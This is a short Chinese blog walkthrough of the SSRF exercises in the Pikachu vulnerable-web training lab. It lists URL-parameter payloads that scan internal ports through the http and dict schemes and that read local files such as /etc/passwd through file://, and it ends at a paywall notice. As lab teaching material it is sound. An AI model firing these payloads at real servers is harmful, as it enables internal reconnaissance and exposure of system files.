pikachu_ssrf攻略

发布于:2024-01-24 ⋅ 阅读:(68) ⋅ 点赞:(0)

ssrf(curl):

打开pikachu靶场:

http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu-master/vul/ssrf/ssrf_info/info1.php

发现URL地址最后面是info1.php 猜测一下有没有可能存在info2.php?

尝试修改访问地址: 

因为curl支持很多协议(http,file想,dict等),尝试访问一下:

文件访问(http)

比如说修改url为:?url=http://www.baidu.com,访问百度页面?url=http://www.baidu.com/robots.txt,访问百度文件等

?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt

端口扫描(http,dict)

使用dict协议可以获取内网主机开放端口相应服务的指纹信息,比如说主机开了http端口

?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379

读取本地文件(file)

修改url为:?url=file:///etc/passwd,查看文件的内容:

?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php

ssrf(file_get_content)

首先了解什么是file_get_content的使用:

file_get_contents() 把整个文件读入一个字符串中。
语法:file_get_contents(path,include_path,context,start,max_length)

进行协议测试:

文件读取

读取本地信息?file=file:///c:/1.txt

http协议请求内网资源 

?file=http://127.0.0.1/ssrf/ssrf_curl.php读取文件内容

本文含有隐藏内容,请 开通VIP 后查看